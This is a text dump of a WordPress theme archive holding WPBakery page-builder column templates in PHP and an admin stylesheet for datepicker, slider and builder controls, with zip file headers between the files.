if ( ! empty( $atts['gap'] ) ) {
	$css_classes[] = 'vc_column-gap-' . $atts['gap'];
}

if ( ! empty( $equal_height ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-equal-height';
}

if ( ! empty( $atts['rtl_reverse'] ) ) {
	$css_classes[] = 'vc_rtl-columns-reverse';
}

if ( ! empty( $content_placement ) ) {
	$flex_row = true;
	$css_classes[] = 'vc_row-o-content-' . $content_placement;
}

if ( ! empty( $flex_row ) ) {
	$css_classes[] = 'vc_row-flex';
}

$wrapper_attributes = array();
// build attributes for wrapper
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;
PK     0w\#K      )  js_composer/templates/vc_column_inner.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_class
 * @var $el_id
 * @var $width
 * @var $css
 * @var $offset
 * @var $content - shortcode content
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Column_Inner $this
 */
$el_class = $width = $el_id = $css = $offset = '';
$output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$width = wpb_translateColumnWidthToSpan( $width );
$width = vc_column_offset_class_merge( $offset, $width );

$css_classes = array(
	$this->getExtraClass( $el_class ),
	'wpb_column',
	'vc_column_container',
	$width,
);

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) ) {
	$css_classes[] = 'vc_col-has-fill';
}

$wrapper_attributes = array();

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( $css_classes ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$innerColumnClass = 'vc_column-inner ' . esc_attr( trim( vc_shortcode_custom_css_class( $css ) ) );
$output .= '<div class="' . trim( $innerColumnClass ) . '">';
$output .= '<div class="wpb_wrapper">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';

// @codingStandardsIgnoreLine
echo $output;
PK     0w\    #  js_composer/templates/vc_column.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Shortcode attributes
 * @var $atts
 * @var $el_id
 * @var $el_class
 * @var $width
 * @var $css
 * @var $offset
 * @var $content - shortcode content
 * @var $css_animation
 * Shortcode class
 * @var WPBakeryShortCode_Vc_Column $this
 */
$el_class = $el_id = $width = $parallax_speed_bg = $parallax_speed_video = $parallax = $parallax_image = $video_bg = $video_bg_url = $video_bg_parallax = $css = $offset = $css_animation = '';
$output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

wp_enqueue_script( 'wpb_composer_front_js' );

$width = wpb_translateColumnWidthToSpan( $width );
$width = vc_column_offset_class_merge( $offset, $width );

$css_classes = array(
	$this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation ),
	'wpb_column',
	'vc_column_container',
	$width,
);

if ( vc_shortcode_custom_css_has_property( $css, array(
	'border',
	'background',
) ) || $video_bg || $parallax
) {
	$css_classes[] = 'vc_col-has-fill';
}

$wrapper_attributes = array();

$has_video_bg = ( ! empty( $video_bg ) && ! empty( $video_bg_url ) && vc_extract_youtube_id( $video_bg_url ) );

$parallax_speed = $parallax_speed_bg;
if ( $has_video_bg ) {
	$parallax = $video_bg_parallax;
	$parallax_speed = $parallax_speed_video;
	$parallax_image = $video_bg_url;
	$css_classes[] = 'vc_video-bg-container';
	wp_enqueue_script( 'vc_youtube_iframe_api_js' );
}

if ( ! empty( $parallax ) ) {
	wp_enqueue_script( 'vc_jquery_skrollr_js' );
	$wrapper_attributes[] = 'data-vc-parallax="' . esc_attr( $parallax_speed ) . '"'; // parallax speed
	$css_classes[] = 'vc_general vc_parallax vc_parallax-' . $parallax;
	if ( false !== strpos( $parallax, 'fade' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fade';
		$wrapper_attributes[] = 'data-vc-parallax-o-fade="on"';
	} elseif ( false !== strpos( $parallax, 'fixed' ) ) {
		$css_classes[] = 'js-vc_parallax-o-fixed';
	}
}

if ( ! empty( $parallax_image ) ) {
	if ( $has_video_bg ) {
		$parallax_image_src = $parallax_image;
	} else {
		$parallax_image_id = preg_replace( '/[^\d]/', '', $parallax_image );
		$parallax_image_src = wp_get_attachment_image_src( $parallax_image_id, 'full' );
		if ( ! empty( $parallax_image_src[0] ) ) {
			$parallax_image_src = $parallax_image_src[0];
		}
	}
	$wrapper_attributes[] = 'data-vc-parallax-image="' . esc_attr( $parallax_image_src ) . '"';
}
if ( ! $parallax && $has_video_bg ) {
	$wrapper_attributes[] = 'data-vc-video-bg="' . esc_attr( $video_bg_url ) . '"';
}

$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( $css_classes ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$innerColumnClass = 'vc_column-inner ' . esc_attr( trim( vc_shortcode_custom_css_class( $css ) ) );
$output .= '<div class="' . trim( $innerColumnClass ) . '">';
$output .= '<div class="wpb_wrapper">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';

// @codingStandardsIgnoreLine
echo $output;
PK     0w\wad  ad    js_composer/assets/admin.cssnu [        .ui-datepicker {
	width: 17em;
	padding: .2em .2em 0;
	display: none
}
.ui-datepicker .ui-datepicker-header {
	position: relative;
	padding: .2em 0
}
.ui-datepicker .ui-datepicker-prev,
.ui-datepicker .ui-datepicker-next {
	position: absolute;
	top: 2px;
	width: 1.8em;
	height: 1.8em
}
.ui-datepicker .ui-datepicker-prev-hover,
.ui-datepicker .ui-datepicker-next-hover {
	top: 1px
}
.ui-datepicker .ui-datepicker-prev {
	left: 2px
}
.ui-datepicker .ui-datepicker-next {
	right: 2px
}
.ui-datepicker .ui-datepicker-prev-hover {
	left: 1px
}
.ui-datepicker .ui-datepicker-next-hover {
	right: 1px
}
.ui-datepicker .ui-datepicker-prev span,
.ui-datepicker .ui-datepicker-next span {
	display: block;
	position: absolute;
	left: 50%;
	margin-left: -8px;
	top: 50%;
	margin-top: -8px
}
.ui-datepicker .ui-datepicker-title {
	margin: 0 2.3em;
	line-height: 1.8em;
	text-align: center
}
.ui-datepicker .ui-datepicker-title select {
	font-size: 1em;
	margin: 1px 0
}
.ui-datepicker select.ui-datepicker-month,
.ui-datepicker select.ui-datepicker-year {
	width: 45%
}
.ui-datepicker table {
	width: 100%;
	font-size: .9em;
	border-collapse: collapse;
	margin: 0 0 .4em
}
.ui-datepicker th {
	padding: .7em .3em;
	text-align: center;
	font-weight: bold;
	border: 0
}
.ui-datepicker td {
	border: 0;
	padding: 1px
}
.ui-datepicker td span,
.ui-datepicker td a {
	display: block;
	padding: .2em;
	text-align: right;
	text-decoration: none
}
.ui-datepicker .ui-datepicker-buttonpane {
	background-image: none;
	margin: .7em 0 0 0;
	padding: 0 .2em;
	border-left: 0;
	border-right: 0;
	border-bottom: 0
}
.ui-datepicker .ui-datepicker-buttonpane button {
	float: right;
	margin: .5em .2em .4em;
	cursor: pointer;
	padding: .2em .6em .3em .6em;
	width: auto;
	overflow: visible
}
.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current {
	float: left
}
.ui-datepicker.ui-datepicker-multi {
	width: auto
}
.ui-datepicker-multi .ui-datepicker-group {
	float: left
}
.ui-datepicker-multi .ui-datepicker-group table {
	width: 95%;
	margin: 0 auto .4em
}
.ui-datepicker-multi-2 .ui-datepicker-group {
	width: 50%
}
.ui-datepicker-multi-3 .ui-datepicker-group {
	width: 33.3%
}
.ui-datepicker-multi-4 .ui-datepicker-group {
	width: 25%
}
.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header {
	border-left-width: 0
}
.ui-datepicker-multi .ui-datepicker-buttonpane {
	clear: left
}
.ui-datepicker-row-break {
	clear: both;
	width: 100%;
	font-size: 0
}
.ui-datepicker-rtl {
	direction: rtl
}
.ui-datepicker-rtl .ui-datepicker-prev {
	right: 2px;
	left: auto
}
.ui-datepicker-rtl .ui-datepicker-next {
	left: 2px;
	right: auto
}
.ui-datepicker-rtl .ui-datepicker-prev:hover {
	right: 1px;
	left: auto
}
.ui-datepicker-rtl .ui-datepicker-next:hover {
	left: 1px;
	right: auto
}
.ui-datepicker-rtl .ui-datepicker-buttonpane {
	clear: right
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button {
	float: left
}
.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,
.ui-datepicker-rtl .ui-datepicker-group {
	float: right
}
.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,
.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header {
	border-right-width: 0;
	border-left-width: 1px
}
.ui-datepicker .ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
	left: .5em;
	top: .3em
}
.ui-slider {
	position: relative;
	text-align: left
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 2;
	width: 1.2em;
	height: 1.2em;
	cursor: default;
	-ms-touch-action: none;
	touch-action: none
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0
}
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
	filter: inherit
}
.ui-slider-horizontal {
	height: .8em
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0
}
.ui-slider-vertical {
	width: .8em;
	height: 100px
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0
}
.ui-widget-icon-block {
	left: 50%;
	margin-left: -8px;
	display: block
}
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content {
	border-right: none
}
.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content {
	border-bottom: none
}
.ui-widget {
	font-family: Verdana, Arial, sans-serif;
	font-size: 1.1em
}
.ui-widget .ui-widget {
	font-size: 1em
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
	font-family: Verdana, Arial, sans-serif;
	font-size: 1em
}
.ui-widget.ui-widget-content {
	border: 1px solid #d3d3d3
}
.ui-widget-content {
	border: 1px solid #aaa;
	background: #fff;
	color: #222
}
.ui-widget-content a {
	color: #222
}
.ui-widget-header {
	border: 1px solid #aaa;
	background: #ccc url("../images/jquery-ui/ui-bg_highlight-soft_75_cccccc_1x100.png") 50% 50% repeat-x;
	color: #222;
	font-weight: bold
}
.ui-widget-header a {
	color: #222
}
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default,
.ui-button,
html .ui-button.ui-state-disabled:hover,
html .ui-button.ui-state-disabled:active {
	border: 1px solid #d3d3d3;
	background: #e6e6e6 url("../images/jquery-ui/ui-bg_glass_75_e6e6e6_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #555
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited,
a.ui-button,
a:link.ui-button,
a:visited.ui-button,
.ui-button {
	color: #555;
	text-decoration: none
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus,
.ui-button:hover,
.ui-button:focus {
	border: 1px solid #999;
	background: #dadada url("../images/jquery-ui/ui-bg_glass_75_dadada_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited,
.ui-state-focus a,
.ui-state-focus a:hover,
.ui-state-focus a:link,
.ui-state-focus a:visited,
a.ui-button:hover,
a.ui-button:focus {
	color: #212121;
	text-decoration: none
}
.ui-visual-focus {
	box-shadow: 0 0 3px 1px rgb(94, 158, 214)
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active,
a.ui-button:active,
.ui-button:active,
.ui-button.ui-state-active:hover {
	border: 1px solid #aaa;
	background: #fff url("../images/jquery-ui/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121
}
.ui-icon-background,
.ui-state-active .ui-icon-background {
	border: #aaa;
	background-color: #212121
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
	color: #212121;
	text-decoration: none
}
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
	border: 1px solid #fcefa1;
	background: #fbf9ee url("../images/jquery-ui/ui-bg_glass_55_fbf9ee_1x400.png") 50% 50% repeat-x;
	color: #363636
}
.ui-state-checked {
	border: 1px solid #fcefa1;
	background: #fbf9ee
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
	color: #363636
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
	border: 1px solid #cd0a0a;
	background: #fef1ec url("../images/jquery-ui/ui-bg_glass_95_fef1ec_1x400.png") 50% 50% repeat-x;
	color: #cd0a0a
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
	color: #cd0a0a
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
	color: #cd0a0a
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
	font-weight: bold
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
	opacity: .7;
	filter: Alpha(Opacity=70);
	font-weight: normal
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
	opacity: .35;
	filter: Alpha(Opacity=35);
	background-image: none
}
.ui-state-disabled .ui-icon {
	filter: Alpha(Opacity=35)
}
.ui-icon {
	width: 16px;
	height: 16px
}
.ui-widget-overlay {
	background: #aaa;
	opacity: .3;
	filter: Alpha(Opacity=30)
}
.ui-widget-shadow {
	-webkit-box-shadow: -8px -8px 8px #aaa;
	box-shadow: -8px -8px 8px #aaa
}
/***** Shortcode container ******/
.wpb_penci_container .vc_controls .wpb_element_title {
	font-size: 13px;
	line-height: 13px;
	display: inline-block;
	position: relative;
	top: -3px;
	color: #131313;
	font-weight: 600;
	margin-left: 3px;
	margin-right: -5px;
}
.wpb_penci_container .vc_controls .wpb_element_title img {
	width: 20px;
	height: 20px;
	position: relative;
	margin-bottom: -9px;
}
.wpb_penci_container > .vc_controls > .column_move {
	background-color: #fff;
}
.wpb_row_container > .wpb_vc_column_inner > .vc_controls {
	text-align: center;
	background: #fff;
	width: 100%;
	line-height: 1px;
	padding: 2px;
	height: 24px;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts {
	height: 17px !important;
	left: 55px !important;
	overflow: inherit !important;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a {
	position: relative;
}
.vc_controls-row .vc_control-row-layout:hover a.penci-hidden,
.vc_controls-row .vc_row_layouts:hover a.penci-hidden {
	display: none;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a.cell-13_23 i {
	transform: rotate(180deg);
	-moz-transform: rotate(180deg);
	-webkit-transform: rotate(180deg);
	-o-transform: rotate(180deg);
	-ms-transform: rotate(180deg);
	top: 4px;
	left: 2px;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:before,
.wpb_penci_container .vc_controls-row .vc_row_layouts a:after {
	position: absolute;
	-webkit-transform: translate3d(0, 0, 0);
	-moz-transform: translate3d(0, 0, 0);
	transform: translate3d(0, 0, 0);
	visibility: hidden;
	opacity: 0;
	z-index: 1000000;
	pointer-events: none;
	-webkit-transition: 0.3s ease;
	-moz-transition: 0.3s ease;
	transition: 0.3s ease;
	-webkit-transition-delay: 0ms;
	-moz-transition-delay: 0ms;
	transition-delay: 0ms;
	left: 100%;
	bottom: 50%;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:before {
	content: '';
	position: absolute;
	background: transparent;
	border: 6px solid transparent;
	z-index: 1000001;
	margin-bottom: 11px;
	left: 8px;
	border-top-color: #383838;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:after {
	content: attr(data-hint);
	background: #383838;
	color: white;
	padding: 8px 10px;
	font-size: 12px;
	line-height: 12px;
	white-space: nowrap;
	border-radius: 3px;
	margin-bottom: 22px;
	margin-left: -29px;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:before, .wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:after, .wpb_penci_container .vc_controls-row .vc_row_layouts a:focus:before, .wpb_penci_container .vc_controls-row .vc_row_layouts a:focus:after {
	visibility: visible;
	opacity: 1;
	-webkit-transform: translateY(8px);
	-moz-transform: translateY(8px);
	transform: translateY(8px);
	z-index: 5;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:before, .wpb_penci_container .vc_controls-row .vc_row_layouts a:hover:after {
	-webkit-transition-delay: 100ms;
	-moz-transition-delay: 100ms;
	transition-delay: 100ms;
}
.wpb_penci_container .vc_controls-row .vc_control-row-layout a.vc_active,
.wpb_penci_container .vc_controls-row .vc_control-row-layout a:hover,
.wpb_penci_container .vc_controls-row .vc_row_layouts a.vc_active,
.wpb_penci_container .vc_controls-row .vc_row_layouts a:hover {
	background-color: #FBEED5;
}
.wpb_row_container > .wpb_penci_column > .vc_controls,
.wpb_row_container > .wpb_penci_column_inner > .vc_controls {
	text-align: center;
	background: #fff;
	width: 100%;
	line-height: 1px;
	padding: 2px;
	height: 24px;
}
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper {
	background: #fff;
	padding: 1px 14px;
}
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper > .wpb_column_container,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper > .wpb_column_container {
	border: 5px solid #f5f5f5;
}
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper .wpb_penci_container_inner,
.wpb_row_container > .wpb_penci_column > .wpb_element_wrapper .wpb_content_element,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper .wpb_penci_container_inner,
.wpb_row_container > .wpb_penci_column_inner > .wpb_element_wrapper .wpb_content_element {
	border-bottom: 5px solid #f5f5f5;
}
.wpb_row_container > .wpb_penci_column > .vc_controls,
.wpb_row_container > .wpb_penci_column_inner > .vc_controls {
	text-align: center;
	background: #fff;
	width: 100%;
	line-height: 1px;
	padding: 2px;
	height: 24px;
}
.wpb_penci_container {
	margin-top: 5px;
}
.penci_container_controls .vc_row-hash-id {
	position: inherit !important;
	left: 2px !important;
	margin-right: 2px;
	display: block;
	height: 15px;
	overflow: hidden;
	float: left;
	padding: 5px;
	text-align: left;
	margin-left: 3px;
	background: #e6e6e6;
	border: 1px solid transparent;
	border-radius: 2px 2px 0 0;
	margin-top: 0;
	color: #444;
}
.vc_inappropriate[data-element="penci_container"] + .vc_inappropriate[data-element="penci_container_inner"] {
	display: block !important;
}
.wpb_penci_container .vc_controls-row .vc_row_layouts a.cell-12_14_14,
.wpb_penci_container .vc_controls-row .vc_row_layouts a.cell-14_14_12 {
	margin-left: 4px;
}
.vc_controls-row .vc_control-set-column .vc-composer-icon.vc-c-icon-1-4_1-4_1-2:before,
.vc_controls-row .vc_control-set-column .vc-composer-icon.vc-c-icon-1-2_1-4_1-4:before {
	content: '';
	background-image: url(./icon-vc-layout.png);
	width: 28px;
	height: 14px;
	display: block;
	position: absolute;
	top: -7px;
	left: -13px;
}
.vc_controls-row .vc_control-set-column .vc-composer-icon.vc-c-icon-1-4_1-4_1-2:before {
	background-position-x: 29px;
}
.vc_edit_form_elements .penci-number-input {
	width: 5em;
	margin-right: 5px;
	padding: 0 5px;
}
.vc_edit_form_elements .penci-only-number-input {
	width: 7em;
	margin-right: 5px;
}
.vc_edit_form_elements .penci-number-suffix {
	width: 5em;
	height: 28px;
	padding: 0 6px;
	vertical-align: top;
}
.penci-param-heading-wrapper {
	padding: 10px 15px;
	font-size: 16px;
	background: #e6e6e6;
	color: #6C6C6C;
	margin-bottom: 0;
	margin-top: 10px;
}
.penci-param-heading-wrapper .edit_form_line {
	display: none;
}
.penci-number-input {
	padding: 0 5px;
	width: 4em;
}
.vc_edit_form_elements .vc_column + .vc_column, .vc_edit_form_elements .vc_column-with-padding {
	padding-top: 0;
	padding-bottom: 10px;
}
.penci-td-wrapper:last-child {
	margin-bottom: 20px;
}
.penci-td-wrapper {
	margin-bottom: 30px;
	width: 100%;
}
.penci-td-wrapper.no-head,
.penci-td-wrapper .penci-td-content {
	display: flex;
	clear: both;
	flex-wrap: wrap;
	margin-top: 0;
	margin-right: 15px;
	margin-left: 15px;
	padding: 15px 0;
	border: 1px solid #E8E8E8;
	border-radius: 5px;
	background: #F9F9F9;
}
.penci-td-wrapper > div:not(:last-child) {
	margin-bottom: 10px;
}
.penci-td-wrapper .penci-param-heading-wrapper {
	background: transparent;
	border: 0;
	text-transform: uppercase;
	color: #000;
	padding-top: 0;
	margin-top: 0;
}
.penci-td-wrapper input,
.penci-td-wrapper select {
	padding: 6px 20px 6px 8px;
	border-color: #686868;
}
.penci-td-wrapper input:focus,
.penci-td-wrapper select:focus {
	outline: 0;
	border-color: #0473aa;
	box-shadow: none;
}
.penci-td-wrapper .wpb_el_type_penci_separator {
	background-color: transparent;
}
.penci-td-wrapper .penci-number-input,
.penci-td-wrapper .penci-number-suffix {
	padding: 6px 8px;
	height: auto;
}
.penci-td-content .vc_google_fonts_form_field-preview-wrapper {
	display: none;
}
div.vc_ui-panel-content select, div.vc_ui-panel-content textarea, div.vc_ui-panel-content input[type="text"], div.vc_ui-panel-content input[type="number"], .whb-popup select, .whb-popup textarea, .whb-popup input[type="text"], .whb-popup input[type="number"] {
	outline: none;
	border-color: #e7e7e7;
	border-radius: 4px;
	box-shadow: none;
	transition: .2s border-color ease-in-out;
}
.penci-vc-switch {
	font-size: 0;
}
.penci-vc-switch .switch-controls {
	display: inline-block;
	min-width: 50px;
	height: 36px;
	background-color: #EFEFF0;
	color: #444;
	text-align: center;
	text-transform: uppercase;
	font-weight: 600;
	font-size: 12px;
	cursor: pointer;
	transition: all .2s ease-in-out;
}
.penci-vc-switch .switch-controls span {
	display: block;
	line-height: 36px;
}
.penci-vc-switch .switch-controls:hover {
	background-color: #DDDDDF;
}
.penci-vc-switch .switch-controls:first-child {
	border-top-left-radius: 4px;
	border-bottom-left-radius: 4px;
}
.penci-vc-switch .switch-controls:last-child {
	border-top-right-radius: 4px;
	border-bottom-right-radius: 4px;
}
.penci-vc-switch .switch-inactive.pc-active {
	background-color: #B1B1B0;
	color: #FFF;
	pointer-events: none;
	user-select: none;
}
.penci-vc-switch .switch-active.pc-active {
	background: var(--wp-admin-theme-color);
	color: #FFF;
}
.penci-vc-slider {
	position: relative;
	display: flex;
	align-items: center;
}
.vc_btn-sm, a.vc_btn-sm, button.vc_btn-sm {
	padding: 11px 15px;
}
.pc-slider-field .ui-widget-header {
	border-radius: 4px;
	background: #4D93D1;
}
.pc-slider-field.ui-widget.ui-widget-content {
	border: none;
	border-radius: 4px;
	background-color: #EFEFF0;
}
.pc-slider-field.ui-slider-horizontal {
	width: 100%;
	height: 6px;
	cursor: pointer;
}
.pc-slider-field.ui-slider-horizontal .ui-slider-handle {
	top: -5px;
	width: 12px;
	height: 12px;
	border-width: 2px;
	border-color: #4D93D1;
	border-radius: 50%;
	background: #FFF;
	cursor: pointer;
	transition: box-shadow .2s ease;
}
.pc-slider-field .ui-slider-handle.ui-state-hover, .pc-slider-field .ui-slider-handle.ui-state-focus {
	box-shadow: 0 0 0 2px rgba(77, 147, 209, 0.3);
}
.pc-slider-field:empty {
	height: 6px;
}
.pc-slider-field-value-display {
	margin-inline-start: 10px;
}
.pc-slider-field-value-display .pc-slider-value-preview {
	display: flex;
	align-items: center;
	min-width: 30px;
	height: 30px !important;
	text-align: right;
	line-height: 1;
	direction: rtl;
}
.pc-slider-field-value-display input.pc-slider-value-preview {
	padding: 3px !important;
	max-width: 60px !important;
	width: auto !important;
}
.pc-slider-field-value-display span.pc-slider-value-preview {
	font-weight: 600;
}
.vc_element_label, .wpb_element_label {
	margin-bottom: 10px;
}
@media only screen and (min-width: 961px) {
	.penci-td-wrapper .vc_col-xs-12:not(.wpb_el_type_column_offset):not(.wpb_el_type_loop):not(.wpb_el_type_textarea_html):not(.wpb_el_type_css_editor):not(.wpb_el_type_param_group):not(.wpb_el_type_exploded_textarea):not(.penci-param-heading-wrapper):not(.wpb_el_type_font_container):not(.wpb_sortable),
	.penci-td-wrapper .vc_col-sm-12:not(.wpb_el_type_column_offset):not(.wpb_el_type_loop):not(.wpb_el_type_textarea_html):not(.wpb_el_type_css_editor):not(.wpb_el_type_param_group):not(.wpb_el_type_exploded_textarea):not(.penci-param-heading-wrapper):not(.wpb_el_type_font_container):not(.wpb_sortable) {
		width: 50%;
	}
	.penci-td-wrapper .loop_params_holder .vc_col-xs-12,
	.penci-td-wrapper .loop_params_holder .vc_col-sm-12 {
		width: 100% !important;
		margin-top: 10px;
	}
}
.wpb_el_type_penci_responsive_size {
	-ms-flex: 1 1 auto;
	flex: 1 1 auto;
	width: auto !important;
	-webkit-box-flex: 1;
}
.penci-rs-wrapper > div {
	display: inline-block;
	margin-right: 10px;
	vertical-align: middle;
}
.penci-rs-wrapper .penci-rs-item .penci-rs-input {
	padding: 8px 6px;
	width: 60px;
	height: 36px;
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
	vertical-align: middle;
}
.penci-rs-wrapper .penci-rs-item {
	display: inline-flex;
	align-items: center;
}
.penci-rs-wrapper .penci-rs-item i {
	margin-right: 3px;
}
.penci-rs-wrapper .penci-rs-item.hide {
	display: none;
}
.penci-rs-wrapper .penci-rs-unit {
	margin-right: 0;
}
.penci-td-wrapper .penci-param-heading-wrapper {
	padding-bottom: 0;
	margin-bottom: 0;
}
.pc-field-devices > span, .pc-tabs.pc-style-devices .pc-set-item, .vc_column.pc-custom-width .vc-button-set-item, .pc-spacing-devices > span {
	display: inline-flex;
	align-items: center;
	color: #333;
	vertical-align: middle;
	text-transform: uppercase;
	font-weight: 600;
	font-size: 13px;
	line-height: 1;
	cursor: pointer;
	transition: all .25s ease-in-out;
}
.pc-field-devices > span span, .pc-tabs.pc-style-devices .pc-set-item span, .vc_column.pc-custom-width .vc-button-set-item span, .pc-spacing-devices > span span {
	margin-inline-start: 5px;
}
.pc-field-devices > span:hover, .pc-tabs.pc-style-devices .pc-set-item:hover, .vc_column.pc-custom-width .vc-button-set-item:hover, .pc-spacing-devices > span:hover {
	color: #333;
}
.pc-field-devices > span:hover:not(.pc-active), .pc-tabs.pc-style-devices .pc-set-item:hover:not(.pc-active), .vc_column.pc-custom-width .vc-button-set-item:hover:not(.pc-active), .pc-spacing-devices > span:hover:not(.pc-active) {
	opacity: .6;
}
.pc-field-devices > span.pc-active, .pc-tabs.pc-style-devices .pc-active.pc-set-item, .vc_column.pc-custom-width .pc-active.vc-button-set-item, .pc-spacing-devices > span.pc-active {
	color: var(--wp-admin-theme-color);
}
.pc-field-devices > span.pc-active:before, .pc-tabs.pc-style-devices .pc-active.pc-set-item:before, .vc_column.pc-custom-width .pc-active.vc-button-set-item:before, .pc-spacing-devices > span.pc-active:before {
	color: inherit;
}
.pc-field-devices > span:not(:last-child), .pc-tabs.pc-style-devices .pc-set-item:not(:last-child), .vc_column.pc-custom-width .vc-button-set-item:not(:last-child), .pc-spacing-devices > span:not(:last-child) {
	margin-inline-end: 7px;
}
.pc-field-devices > span:before, .pc-tabs.pc-style-devices .pc-set-item:before, .vc_column.pc-custom-width .vc-button-set-item:before, .pc-spacing-devices > span:before {
	color: #BFBFBF;
	font-weight: 400;
	font-size: 15px;
	font-family: "dashicons";
}
